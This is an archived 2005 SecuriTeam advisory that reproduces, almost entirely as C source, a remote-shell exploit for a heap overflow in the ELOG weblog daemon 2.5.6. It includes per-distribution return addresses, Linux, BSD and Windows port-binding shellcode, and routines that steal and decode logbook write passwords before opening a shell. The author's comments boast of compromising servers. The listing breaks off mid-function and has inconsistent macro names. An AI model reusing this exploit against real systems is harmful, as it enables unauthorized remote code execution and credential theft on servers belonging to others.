

# [EXPL] ELOG Remote Shell Exploit

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0036.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 02/13/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 13 Feb 2005 10:58:39 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

ELOG Remote Shell Exploit

---

## SUMMARY

<<http://midas.psi.ch/elog/>> ELOG is "part of a family of applications known as weblogs". Presented here is an exploit code for a heap based buffer overflow in ELOG weblog application.

## DETAILS

Vulnerable Systems:

\* ELOG version 2.5.6 and prior

/\* 22/October/2003

Hi there, someone has brought to u a gift.

ELOG Remote Shell Exploit <= 2.5.6 (Also for future Versions)

Updated On 18/April/2004

LOCK YOUR LOGBOOKZ, THERE IS A SPY IN THE WILD!

Bug: Sorry, we do not support fool-disclosure.

## Securiteam: [EXPL] ELOG Remote Shell Exploit

Characteristicz : Fully Automated Filling Mechanism ,steal/decode base\_64  
ELOG \_write\_ passwordz.  
(breakin into write password protected servers,)

Targeting : objdump -t elogd | grep \_mtext <----- your magic jumping  
addres.

change that value with one of the targets below .If The ret  
lookz like 0x09..

then that means elogd version is 2.5.5 or greater.If 0x8..  
then < 2.5.5

NOte: The buffer-length in linux, varies from one distro to  
other, like the BSD one.

so do not add shit to the target area unless as well as u  
know what u r doing.

Tricks i : Some hosts using Elog daemon under Apache mod\_proxy module,  
so u'd better force a bit yourself port scan that host in  
order to get the elog port.

(Be warned , most of the serverz we owned had at least 2  
running elog http servers.)

ii : If U can \_not\_ get the write pazzword for logbook, then try  
other logbooks.

(especially, happens when the background mode enabled).

iii : If u happen to meet logbook which has more than 10  
attribute/optionz

then add more globalz to the global sectionz of this  
code,now it supportz

10 att/opt, i haven't seen more than this Yet!.

Challenge: Find the other 2 heap and a 1 url traversal bugs in elogd.(Both  
exploitable)

Unknown u.g Bl4ckh4t group member[3]

nrktx DIGITALLY SIGNATURED

\_EOC\_

\*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
```

## Securiteam: [EXPL] ELOG Remote Shell Exploit

```
#include <ctype.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <errno.h>
#include <err.h>

#define _GNU_SOURCE
#define CONTSIZE 10000
#define BOUNSIZE 100
#define REQUESTSIZE 2000
#define INBUF 5000
#define LINEBUFSIZ 1000
#define GETBUFSIZE 10000
#define SENDBUFSIZE 10000
#define TIMEOUT 30
#define ENURLSIZE 200
#define GLOBATTSIZE 200
#define STORESIZE 10000
#define ELOGPORT 8080
#define SHBUFSIZE 288
#define BIGBUFSIZE 5000
#define BACKDOOR 31337
#define BSDBACKDOOR 11520
#define WINBACKDOOR 5555
#define NOP 0x90
#define RED "\033[31m"
#define GREEN "\033[32m"
#define DEFAULT "\033[0m"
#define CHECKELOG "HEAD HTTP/1.1"
#define HTTPVER " HTTP/1.1\r\n"
#define POSTREQ "POST /"
#define GETREQ "GET /"
#define GETREQCMD "?cmd=download"
#define TESTUSER "candy-n4rk0tix"
#define TESTPASS_DECODED "candy-blackhat"
#define ADDICTEDZ "candy:narkotix"
#define EXPERIMENT "iloveucandy"
#define LOGBOOKAUTHOR "CodeName : Candy-bl4ckh47"
#define LOGSUBJECT "Mission Impossible"
#define ATT_FILE "do-NOT-trust-me-biatch"
#define MSGCONTENT "Building Required HTML CONTENT"
#define MSGQUERY "Building Required HTML QUERY"
#define MSGVER "Asking For Version..."
#define MSGBOUNDARY "Building Random BOUNDARY.."
#define MSGSECTOR "Checking IF Sector Is CLEAR.."
#define READOPTION "Getting Required Attr Options BE PATIENT !"
#define PASSALERT "LogBook Is Write Password Protected"
```

## Securiteam: [EXPL] ELOG Remote Shell Exploit

```
#define GETINGPASS "Wait Bro We R Gonna Catch The Password"
#define PASSSUCCESS "WE GOT The Write Password Bro !!"
#define CLEARAREA "[SECTOR CLEAR.. FORCING OUR LUCK TO GET IN]"
#define NODATA "EOF"
#define PASSFAILED "Could not get password, Prolly Elogd started with -D
arg !"
#define DEMOLOGBOOK "demo"
#define UPLOADME 1
#define NOTUPLOADME 0
#define VERSION_CHECKER "Server: ELOG HTTP "
#define AUTHORIZED_DENY "401 Authorization Required"
#define SECTOR_CLEAR "302 Found"
#define INVALIDURL "Invalid URL"
#define ATTERR "Error: Attribute "
#define ATTOPTERR "Error: Attribute option "
#define ATTERRTAG "<b>"
#define ATTERRTAGLAST "</b>"
#define ATTNOTFOUND(x) {fprintf(stderr,"[!] Attribute %s Notfound\n",x);}
#define MAKINGATT(x) {fprintf(stderr, ""GREEN"[+]"DEFAULT" Attribute %s
ADDING..\
\t"GREEN"DONE"DEFAULT"\n",x);}
#define NOTELOG "Remote Server Is NOT Elog !"
#define REMDOWN "Connection reset by Peer"
#define REMCRASHED "Server DEAD"
#define BIGOPTIONLIST "Too Many Attributes Dude,MODIFY THE CODE !"
#define ASKEDPASS "Please enter password to obtain write access"
#define ALLOCLOB(x) {x = (char *)malloc(GLOBATTSIZE *sizeof(char));}
#define ZEROLOB(x) {memset(x,\0,GLOBATTSIZE);}
#define PRINTINFO(x,y) {if(y <= 1) printf(""GREEN"[+]"DEFAULT" %s\n",x);}
#define NPRINTINFO(x) {printf("[-] %s\n",x);}
#define LOGBOOKNOTFOUND(x,y) {bzero(x,sizeof(x));\
sprintf(x,"Error: logbook \"%s\" not
defined",y);\
}
#define BADSELECT "option value=\"\">"
#define COMMAND "echo '----[WE NEVER BELIEVE IN LUCK]----'; uptime ; uname
-a ; id;\"
"TERM=xterm; export TERM; who ; unset
HISTFILE\n"
#define WINCMD "echo '----WE PWNEED U DUDE----' & hostname\n "
char *map =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ;
char content[CONTSIZE];
static int content_length;
static unsigned char boundary[BOUNDSIZE];
char encoded_url[ENURLSIZE];
static int globcount = 0;
static int debug = 1;
static int recount = 0;
int id = 0;
char wpassbufdec[50] = {\0};
```

## Securiteam: [EXPL] ELOG Remote Shell Exploit

```
char wpassbufenc[50] = {'\0'};
char userandpass[50] = ADDICTEDZ;
char encuserandpass[50] = ADDICTEDZ;
char bigbuffer[BIGBUFSIZE];
char shbuffer [288];
char fedorabuf [288];
char debianbuffer [264];
char windozebuf [246];
char windozetext [600];

static unsigned char glob1_att[GLOBATTSIZE] = {'\0'};
static unsigned char glob2_att[GLOBATTSIZE] = {'\0'};
static unsigned char glob3_att[GLOBATTSIZE] = {'\0'};
static unsigned char glob4_att[GLOBATTSIZE] = {'\0'};
static unsigned char glob5_att[GLOBATTSIZE] = {'\0'};
static unsigned char glob6_att[GLOBATTSIZE] = {'\0'};
static unsigned char glob7_att[GLOBATTSIZE] = {'\0'};
static unsigned char glob8_att[GLOBATTSIZE] = {'\0'};
static unsigned char glob9_att[GLOBATTSIZE] = {'\0'};
static unsigned char glob10_att[GLOBATTSIZE] = {'\0'};

static unsigned char glob1_opt[GLOBATTSIZE] = "Other";
static unsigned char glob2_opt[GLOBATTSIZE] = "Other";
static unsigned char glob3_opt[GLOBATTSIZE] = "Other";
static unsigned char glob4_opt[GLOBATTSIZE] = "Other";
static unsigned char glob5_opt[GLOBATTSIZE] = "Other";
static unsigned char glob6_opt[GLOBATTSIZE] = "Other";
static unsigned char glob7_opt[GLOBATTSIZE] = "Other";
static unsigned char glob8_opt[GLOBATTSIZE] = "Other";
static unsigned char glob9_opt[GLOBATTSIZE] = "Other";
static unsigned char glob10_opt[GLOBATTSIZE] = "Other";

struct globalz
{
    char *addr;
    int id;
};

struct target
{
    char *distro;
    long ret;
    int id;
};

struct target TARGETZ[] =
{
    {"Slackware 9.1" , 0x08629588 , 0},
    {"Gentoo 3.3.5-r1 " , 0x09093f40 , 1}, /* 0x08624572 for Gentoo 3.3.2
*/
    {"FreeBSD 4.9 STABLE " , 0x0906aa24 , 2},
```

## Securiteam: [EXPL] ELOG Remote Shell Exploit

```
    {"Mandrake 10.1" , 0x085dd70a , 3},
    {"Fedora Core 1" , 0x08624600 , 4}, /* Fedora sux, Inferno Rulez*/
    {"Debian 3.0 " , 0x085e0420 , 5},
    {"WinXP SP2 Elog-2.5.6", 0x0055D9F0 , 6}, /* Fuck that NULL byte, it
is innocent */
    {"Redhat 7.3 " , 0x85dd3c0 , 7},
    {"Redhat E.L " , 0x090653a0 , 8},
    {"Slackware 10 " , 0x09064c80 , 9},
    {"FreeBSD 5.2 " , 0x090673c0 , 10},
    {"FreeBSD 5.3 STABLE" , 0x090658e0 , 11},
    {"NULL " , 0x0 , -1},
};

struct globalz MISSED[]=
{
    {(char *)&glob1_att, 0},
    {(char *)&glob2_att, 0},
    {(char *)&glob3_att, 0},
    {(char *)&glob4_att, 0},
    {(char *)&glob5_att, 0},
    {(char *)&glob6_att, 0},
    {(char *)&glob7_att, 0},
    {(char *)&glob8_att, 0},
    {(char *)&glob9_att, 0},
    {(char *)&glob10_att, 0},
    { NULL , 0},
};

struct globalz TRASH[]=
{
    {(char *)&glob1_opt, 0},
    {(char *)&glob2_opt, 0},
    {(char *)&glob3_opt, 0},
    {(char *)&glob4_opt, 0},
    {(char *)&glob5_opt, 0},
    {(char *)&glob6_opt, 0},
    {(char *)&glob7_opt, 0},
    {(char *)&glob8_opt, 0},
    {(char *)&glob9_opt, 0},
    {(char *)&glob10_opt, 0},
    {NULL , 0}
};

/*linux portbind 31337*/
char Inx_shellcode[] =
    "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1"
    "\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x7a\x69"
    "\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1"
    "\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43"
    "\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0"
    "\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41"
```

## Securiteam: [EXPL] ELOG Remote Shell Exploit

```
"\x80\xf9\x03\xf6\x52\x68\x6e\x2f\x73\x68"  
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1"  
"\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90";
```

```
/*BSD portbind */  
char bsd_shellcode[] =
```

```
"\x31\xc0\x99\x52\x42\x52\x42\x52\x50\xb0\x61"  
"\xcd\x80\x6a\x2d\x66\x52\x89\xe3\x6a\x10\x53"  
"\x50\x50\xb0\x68\xcd\x80\x5b\x50\x53\x50\xb0"  
"\x6a\xcd\x80\xb0\x1e\xcd\x80\x52\x50\x52\xb0"  
"\x5a\xcd\x80\x4a\x79\xf6\x68\x6e\x2f\x73\x68"  
"\x68\x2f\x2f\x62\x69\x89\xe3\x50\x54\x53\x53"  
"\xb0\x3b\xcd\x80\x90\x90\x90\x90\x90\x90\x90";
```

```
/*Win2k portbind 5555*/  
char win_shellcode[] =
```

```
"\x66\x81\xec\x04\x07"
```

```
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31"
```

```
"\xc9\x81\xe9\xa6\xff\xff\xff\x81\x36\x76\xac\x7c\x25\x81\xee\xfc"
```

```
"\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff\x9e\x94\x7c\x25"
```

```
"\x76\xef\x31\x61\x76\x4b\x05\xe3\x0f\x49\x35\xa3\x3f\x08\xd1\x0b"
```

```
"\x9f\x08\x66\x55\xb1\x75\x75\xd0\xdb\x67\x91\xd9\x4d\x22\x32\x2b"
```

```
"\x9a\xd2\xa4\xc7\x05\x01\xa5\x20\xb8\xde\x82\x96\x60\xfb\x2f\x17"
```

```
"\x29\x9f\x4e\x0b\x32\xe0\x30\x25\x77\xf7\x28\xac\x93\x25\x21\x25"
```

```
"\x1c\x9c\x25\x41\xfd\xad\xf7\x65\x7a\x27\x0c\x39\xdb\x27\x24\x2d"
```

```
"\x9d\xa0\xf1\x72\x5a\xfd\x2e\xda\xa6\x25\xbf\x7c\x9d\xbc\x16\x2d"
```

```
"\x28\xad\x92\x4f\x7c\xf5\xf7\x58\x76\x2c\x85\x23\x02\x48\x2d\x76"
```

```
"\x89\x98\xf3\xcd\xe6\xac\x7c\x25\x2f\x25\x78\xab\x94\x47\x4d\xda"
```

```
"\x10\x2d\x90\xb5\x77\xf8\x14\x24\x77\xac\x7c\xda\x23\x8c\x2b\x72"
```

```
"\x21\xfb\x3b\x72\x31\xfb\x83\x70\x6a\x25\xbf\x14\x89\xfb\x2b\x4d"
```

```
"\x74\xac\x69\x96\xff\x4a\x16\x35\x20\xff\x83\x70\x6e\xfb\x2f\xda"
```

```
"\x23\xb8\x2b\x73\x25\x53\x29\x35\xff\x6e\x1a\xa4\x9a\xf8\x7c\xa8"
```

```
"\x4a\x88\x4d\xe5\x1c\xb9\x25\xd6\xdd\x25\xab\xe3\x32\x88\x6c\x61"
```

## Securiteam: [EXPL] ELOG Remote Shell Exploit

```
"\x88\xe8\x58\x18\xff\xd0\x58\x6d\xff\xd0\x58\x69\xff\xd0\x58\x75"  
"\xfb\xe8\x58\x35\x22\xfc\x2d\x74\x27\xed\x2d\x6c\x27\xfd\x83\x50"  
"\x76\xfd\x83\x70\x46\x25\x9d\x4d\x89\x53\x83\xda\x89\x9d\x83\x70"  
"\x5a\xfb\x83\x70\x7a\x53\x29\x0d\x25\xf9\x2a\x72\xfd\xc0\x58\x3d"  
"\xfd\xe9\x40\xae\x22\xa9\x04\x24\x9c\x27\x36\x3d\xfd\xf6\x5c\x24"  
"\x9d\x4f\x4e\x6c\xfd\x98\xf7\x24\x98\x9d\x83\xd9\x47\x6c\xd0\x1d"  
"\x96\xd8\x7b\xe4\xb9\xa1\x7d\xe2\x9d\x5e\x47\x59\x52\xb8\x09\xc4"  
"\xfd\xf6\x58\x24\x9d\xca\xf7\x29\x3d\x27\x26\x39\x77\x47\xf7\x21"  
"\xfd\xad\x94\xce\x74\x9d\xbc\xac\x9c\xf3\x22\x78\x2d\x6e\x74\x25";
```

```
char *make_http_content(int , char*);  
char *make_random_boundary (void);  
char *make_request_header(char *,char *,int);  
char *urlencode (char *);  
void base64_encode (char *, char *);  
void get_server_version(char *, unsigned short int);  
void base64_decode (char *, char *);  
void get_missing_attributes (char *, char *,char *);  
void alloc_all_globalz (void);  
void re_check_sector (char *,unsigned short,char *,int);  
void spy_attr_options (char *,unsigned short int, char *);  
void make_spy_header(char *,short, char *,char *);  
void crack_the_code (char *,unsigned short, char *);  
void authorize_user(char * , char *);  
void build_att_buffer (int , int);  
void do_last_stage ( char *,short , char *);  
void we_r_coming (char* );  
void shell(int sock);  
void banner(void);  
void usage(char *);  
void listos(void);  
long get_host_ip (char *);  
int cind (char c);  
int is_there_attribute (void);  
int check_for_clear_sector (char *,unsigned short int,char *,int);  
  
int main (int argc , char *argv[])  
{  
    int flg;  
    int port = ELOGPORT;  
    int uniz = 0;  
    char *logbook = DEMOLOGBOOK;
```

```
char *hostname = NULL;
char *u_name = TESTUSER;
char *u_pwd = TESTPASS_DECODED;
char *write_pazzword = NULL;

banner();
while((flg = getopt(argc,argv,"h:p:l:o:w:u:r:dD")) !=EOF)
{
    switch(flg)
    {
        case 'h':
            hostname = strdup(optarg);
            break;

        case 'p':
            port = atoi(optarg);
            break;

        case 'l':
            logbook = strdup(optarg);
            break;

        case 'o':
            id = atoi(optarg);
            if((id == 2) || (id == 10) || (id == 11)){
                uniz++;
                break;}
            if(id == 6)
                uniz = 2;
            break;

        case 'd':
            listos();
            exit(1);

        case 'u':
            u_name = strdup(optarg);
            break;

        case 'r':
            u_pwd = strdup(optarg);
            break;

        case 'w':
            write_pazzword = strdup(optarg);
            strncpy(wpassbufdec,write_pazzword,49);
            break;

        default :
            usage(argv[0]);
    }
}
```

```

    }
}

if(!hostname)
    exit(1);
printf("GREEN"[+] "DEFAULT" Exploiting on %s :
0x%lx\n",TARGETZ[id].distro,TARGETZ[id].ret);
    alloc_all_globalz();
    build_att_buffer(uniz,id);
    authorize_user(u_name , u_pwd);
    get_server_version(hostname,port);
    check_for_clear_sector(hostname,port,logbook,0);
return(0);
}

```

```
void base64_encode(char *s, char *d)
```

```

{
    unsigned int t, pad;

    pad = 3 - strlen(s) % 3;
    if (pad == 3)
        pad = 0;
    while (*s) {
        t = (*s++) << 16;
        if (*s)
            t |= (*s++) << 8;
        if (*s)
            t |= (*s++) << 0;

        *(d + 3) = map[t & 63];
        t >>= 6;
        *(d + 2) = map[t & 63];
        t >>= 6;
        *(d + 1) = map[t & 63];
        t >>= 6;
        *(d + 0) = map[t & 63];

        d += 4;
    }
    *d = 0;
    while (pad--)

        * (--d) = '=';
}

```

```
void base64_decode(char *s, char *d)
```

```

{
    unsigned int t;

    while (*s) {
        t = cind(*s) << 18;

```

```

s++;
t |= cind(*s) << 12;
s++;
t |= cind(*s) << 6;
s++;
t |= cind(*s) << 0;
s++;

*(d + 2) = (char) (t & 0xFF);
t >>= 8;
*(d + 1) = (char) (t & 0xFF);
t >>= 8;
*d = (char) (t & 0xFF);

d += 3;
}
*d = 0;
}

int cind(char c)
{
int i;

if (c == '=')
return 0;

for (i = 0; i < 64; i++)
if (map[i] == c)
return i;

return -1;
}

void get_server_version(char *hostname,unsigned short port)
{
const unsigned char *version_chec = VERSION_CHECKER;
const unsigned char *version_request = CHECKELOG;
int yes = 1;
int get_total = 0;
int send_total = 0;
char info_buf[INBUF];
int sock_req;
int ready;
struct sockaddr_in rem_addr;
fd_set read_fd;
struct timeval w_t;

w_t.tv_sec = TIMEOUT;
w_t.tv_usec = 0;

PRINTF(MSGVER,1);

```

```

sock_req = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if(sock_req < 0) {
        perror("socket");
        exit(EXIT_FAILURE);
    }
    if(setsockopt(sock_req,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int))
== -1)
    { perror("setsockopt");
    exit(1);
    }

    memset(&(rem_addr.sin_zero),'\0',8);
    rem_addr.sin_family = AF_INET;
    rem_addr.sin_port = htons(port);
    rem_addr.sin_addr.s_addr = get_host_ip(hostname);

    if( connect(sock_req,(struct sockaddr
*)&rem_addr,sizeof(struct sockaddr)) == -1)
    {
        err(1,NULL);
        exit(1);
    }

    FD_ZERO(&read_fd);
    FD_SET(sock_req,&read_fd);

    if ((send_total =
send(sock_req,version_request,strlen(version_request),0)) == -1)
    {
        perror("send");
        exit(1);
    }
    if((ready = select(sock_req+1,&read_fd,(fd_set *)NULL,(fd_set
*)NULL,&w_t) < 0){
        perror("select");
        exit(1);
    }
    if(FD_ISSET(sock_req,&read_fd))
    {
        if( (get_total =
recv(sock_req,info_buf,sizeof(info_buf)-1,0)) == -1)
        {
            perror("recv");
            exit(1);
        }
        else if(get_total <= 0){
            fprintf(stderr,"[-]Can not receive information\n");
            exit(1);
        }
        info_buf[get_total] = '\0';
    }

```

```

int i;
char linebuf[LINEBUFSIZ];
char lastbuf[LINEBUFSIZ];
bzero(linebuf,sizeof(linebuf));
bzero(lastbuf,sizeof(lastbuf));

char *p = (char *)&linebuf[0];
char *k = (char *)&lastbuf[0];

char *z;
if((z = strstr(info_buf,version_chec)) != NULL)
{
    strncpy(p,z,500);
    for(i = 0; (*p != '-') && (*p != '\n'); i++){
        *k++ = *p++;
    }
    PRINTINFO(lastbuf,debug);
    close(sock_req);
    return;
}
}
NPRINTINFO(NOTELOG);
close(sock_req);
exit(1);
}

char *make_random_boundary(void)
{
    PRINTINFO(MSGBOUNDARY,debug);
    char bound_buf[BOUNDSIZE];
    char *p;
    p = bound_buf;
    srand((unsigned) time(NULL));

    bzero(bound_buf,sizeof(bound_buf));

    sprintf(bound_buf,"-----%04X%04X%04X",rand(),rand(),rand());
    return(p);
}

char *make_http_content(int choice,char *logbookname)
{
    char *pazzword = TESTPASS_DECODED;
    char passencode[50];
    char *text = NULL;
    const char *experiment = logbookname;
    const char *att_file = shbuffer;
    const char *testuser = TESTUSER;
    const char *subject = LOGSUBJECT;
    char *l_content = content;
    int include_evilfile = 0;

```

## Securiteam: [EXPL] ELOG Remote Shell Exploit

```
int attrcount = 0;
int j;
    if(choice == UPLOADME)
        include_evilfile = 1;
    else if (choice == NOTUPLOADME)
        include_evilfile = 0;

    if(id == 4)
        att_file = fedorabuf;
    if((id == 5) || (id == 2))
        att_file = debianbuffer;
    if(id == 6){
        att_file = windozebuf;
        text = windozetext;
    }
    if(id != 6)
        text = bigbuffer;
    sprintf(boundary, "%s", make_random_boundary());

    PRINTINFO(MSGCONTENT, debug);

    base64_encode(pazzword, passencode);

    strcpy(content, boundary);

    strcat(content, "\r\nContent-Disposition: form-data;
name=\"cmd\"\r\n\r\nSubmit\r\n");

    sprintf(content + strlen(content),
        "%s\r\nContent-Disposition: form-data;
name=\"wpwd\"\r\n\r\n%s\r\n", boundary, wpassbufenc);

    sprintf(content + strlen(content),
        "%s\r\nContent-Disposition: form-data;
name=\"unm\"\r\n\r\n%s\r\n", boundary, testuser);

    sprintf(content + strlen(content),
        "%s\r\nContent-Disposition: form-data;
name=\"upwd\"\r\n\r\n%s\r\n", boundary, passencode);

    sprintf(content + strlen(content),
        "%s\r\nContent-Disposition: form-data;
name=\"exp\"\r\n\r\n%s\r\n", boundary, experiment);

    if((attrcount = is_there_attribute())) {
        for(j = 0; j < attrcount; j++) {

            sprintf(content + strlen(content),
                "%s\r\nContent-Disposition: form-data;
name=\"%s\"\r\n\r\n%s\r\n",
```

## Securiteam: [EXPL] ELOG Remote Shell Exploit

```
        boundary,MISSED[j].addr,TRASH[j].addr);
    }
}

sprintf(content + strlen(content),
        "%s\r\nContent-Disposition: form-data;
name=\"Subject\"\r\n\r\n%s\r\n", boundary, subject);

sprintf(content + strlen(content),
        "%s\r\nContent-Disposition: form-data;
name=\"Text\"\r\n\r\n%s\r\n", boundary, text);

if(include_evilfile){

sprintf(content + strlen(content),
        "%s\r\nContent-Disposition: form-data;
name=\"attfile\";filename=\"%s\"\r\n", boundary, att_file);
}

sprintf(content + strlen(content),"%s\r\n", boundary);

        content_length = strlen(content);
        content[content_length] = '\0';
        return(l_content);
}

char *urlencode(char *str)
{
    char *p;
    char *s = encoded_url;
    p = str;
    char *encoded = encoded_url;

    bzero(encoded_url,sizeof(encoded_url));

    if(index(str,' ') == NULL) {
        return(str);
    }
    while(*p && (int) s < (int) encoded_url + 50 ) {
        *s = *p;
        if(*p == ' '){
            *s = '+';
        }
        s++;
        p++;
    }

    return(encoded);
}
```

## Securiteam: [EXPL] ELOG Remote Shell Exploit

```
char *make_request_header(char *logbookname,char *glob_boundary,int which)
{
    glob_boundary = boundary;
    char request[REQUESTSIZE];
    char *p = request;
    char boun_buf[BOUNSIZE];
    char host_name[50];
    char *url_enc = urlencode(logbookname);

    if(gethostname(host_name,sizeof(host_name)) == -1)
    {
        perror("gethostname");
        exit(EXIT_FAILURE);
    }
    sprintf(boun_buf,"%s",boundary);

    if(which){
        PRINTINFO(MSGQUERY,debug);
    }
    strncpy(request,POSTREQ,sizeof(POSTREQ));
    sprintf(request + strlen(request), "%s/",url_enc);
    strcat(request,HTTPVER);
    sprintf(request + strlen(request), "Content-Type: multipart/form-data;
boundary=%s\r\n",glob_boundary);
    sprintf(request + strlen(request), "Host: %s\r\n", host_name);
    sprintf(request + strlen(request), "User-Agent: ELOG\r\n");
    sprintf(request + strlen(request), "Authorization: Basic
%s\r\n",encuserandpass);
    sprintf(request + strlen(request), "Content-Length: %d\r\n\r\n",
content_length);
    bzero(encoded_url,sizeof(encoded_url));
    return(p);
}

long get_host_ip(char *hname)
{
    long ip_add;
    struct hostent *h;
    if((ip_add = inet_addr(hname)) < 0)
    {
        h = gethostbyname(hname);
        if(h == NULL)
        {
            fprintf(stderr,"[-]Can not resolve IP address\n");
            exit(1);
        }
        memcpy(&ip_add,h->h_addr,h->h_length);
    }
    return(ip_add);
}
```

## Securiteam: [EXPL] ELOG Remote Shell Exploit

```
int check_for_clear_sector(char *hostname,unsigned short port,char
*logbook,int flag)
{
    struct sockaddr_in rem_addr;
    char sendbuf[SENDERBUFSIZE];
    char *sendbufp;
    char getbuf[GETBUFSIZE];
    char *reqbuf;
    char notfound[100];
    int yes;
    int total;
    int sock;
    int flagchoice;
    struct timeval w_t;
    fd_set read_fd;
    int total_fd;

    PRINTINFO(MSGSECTOR,debug);
    LOGBOOKNOTFOUND(notfound,logbook);

HEAD:
    bzero(&w_t,sizeof(w_t));

    w_t.tv_sec = TIMEOUT;
    w_t.tv_usec = 0;

    if(flag == 0)
        flagchoice = NOTUPLOADME;
    else
        flagchoice = UPLOADME;

    sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if(sock < 0)
    {
        perror("socket");
        exit(1);
    }
    if(setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(char
*)&yes,sizeof(int))
    { perror("setsockopt");
      close(sock);
      exit(1);
    }

    memset(&(rem_addr.sin_zero),'\0',8);
    rem_addr.sin_family = AF_INET;
    rem_addr.sin_port = htons(port);
    rem_addr.sin_addr.s_addr = get_host_ip(hostname);
```

```

if(connect(sock,(const struct
sockaddr*)&rem_addr,sizeof(rem_addr)))
{
    fprintf(stderr,"[-] Can not Connect to server!\n");
    exit(1);
}

sendbufp = make_http_content(flagchoice,logbook);
reqbuf = make_request_header(logbook,boundary,0);
strcpy(sendbuf,reqbuf);
strcat(sendbuf,sendbufp);

if( (send(sock,sendbuf,sizeof(sendbuf),0) < 0 )
{
    perror("send");
    exit(-1);
    close(sock);
}

    FD_ZERO(&read_fd);
    FD_SET(sock,&read_fd);

    if( (total_fd = select(sock + 1,&read_fd,(fd_set
*)NULL,(fd_set *)NULL,&w_t)) < 0)
    {
        perror("select");
        close(sock);
        exit(-1);
    }

if(FD_ISSET(sock,&read_fd))
{
    if( (total = recv(sock,getbuf,sizeof(getbuf),0)) < 1) {
        if(errno == EWOULDBLOCK ){
            NPRINTINFO(REMDOWN);
            PRINTINFO(REMCRASHED,1);
            close(sock);
            exit(-1);
        }
        close(sock);
        exit(1);
    }
    if(strstr(getbuf,INVALIDURL)) {
        fprintf(stderr,"[-] Invalid URL Bitch, Type the
Correct Path\n");
        close(sock);
        exit(-1);
    }
}

```

## Securiteam: [EXPL] ELOG Remote Shell Exploit

```
if(strstr(getbuf,AUTHORIZED_DENY)) {
    fprintf(stderr,"[-] Type User name and Password for
login Bitch\n");
    close(sock);
    exit(-1);
}

if(strstr(getbuf,notfound)) {
    fprintf(stderr,"[-] NO %s LOGBOOK DEFINED
BITCH\n",logbook);
    close(sock);
    exit(-1);
}

if(strstr(getbuf,ASKEDPASS)) {
    NPRINTINFO(PASSALERT);
    crack_the_code(hostname,port,logbook);
    close(sock);
    bzero(getbuf,sizeof(getbuf));
    goto HEAD;
}

if(strstr(getbuf,ATTOPTERR)) {
    PRINTINFO(READOPTION,1);
    close(sock);
    bzero(getbuf,sizeof(getbuf));
    spy_attr_options(hostname,port,logbook);
    goto HEAD;
}

if(strstr(getbuf,ATTERR)) {
    get_missing_attributes(getbuf,ATTERR,MISSED[globcount].addr);
    ATTNOTFOUND(MISSED[globcount].addr);
    MAKINGATT (MISSED[globcount].addr);
    globcount++;
    bzero(getbuf,sizeof(getbuf));
    re_check_sector(hostname,port,logbook,flag);
}

if(strstr(getbuf,SECTOR_CLEAR)) {
    PRINTINFO(CLEARAREA,1);
    close(sock);
    do_last_stage(hostname,port,logbook);
    we_r_coming(hostname);
}
}
return(1);
}

void get_missing_attributes(char *attbuf, char *errmessage,char *glob_att)
{
```

```

int i,j = 0;
char *p,*k;
p = attbuf;
k = glob_att;

    bzero(glob_att,sizeof(glob_att));

if(strstr(p,errmsg)){
    i = strlen(p) - strlen(strstr(p,ATERRTAG));
    if( *(char *)(p+i) == '<' && *(char *)(p+i+2) == '>' ) {
        j = i+3;
        for( ; *(char *)(p+j) != '<' && *(char *)(p+j+3) != '>' ; j++
) {
            *k++ = *(char *)(p+j);
        }

        *k = '\0';
        return;
    }
}
return;
}

void alloc_all_globalz(void)
{
    ZEROGLOB(glob1_att);
    ZEROGLOB(glob2_att);
    ZEROGLOB(glob3_att);
    ZEROGLOB(glob4_att);
    ZEROGLOB(glob5_att);
    ZEROGLOB(glob6_att);
    ZEROGLOB(glob7_att);
    ZEROGLOB(glob8_att);
    ZEROGLOB(glob9_att);
    ZEROGLOB(glob10_att);

}

int is_there_attribute(void)
{
    int i = 0;
    int j = 0;
    for(i = 0; i<10 ; i++) {
        if(strlen(MISSED[i].addr))
            j++;
    }
    return(j);
}

void re_check_sector(char *hostname,unsigned short port,char *logbook,int
flag)

```

## Securiteam: [EXPL] ELOG Remote Shell Exploit

```
{
  debug++;
  if(recount++ >= 10 ){
    NPRINTINFO(BIGOPTIONLIST);
    exit(1);
  }
  check_for_clear_sector(hostname,port,logbook,flag);
}

void spy_attr_options(char *hostname,unsigned short port,char *logbook)
{
  int soc;
  int ready;
  int yes = 0;
  char request[REQUESTSIZE];
  fd_set read_fd;
  struct timeval w_t;
  struct sockaddr_in rem_addr;
  int k,i = 0;
```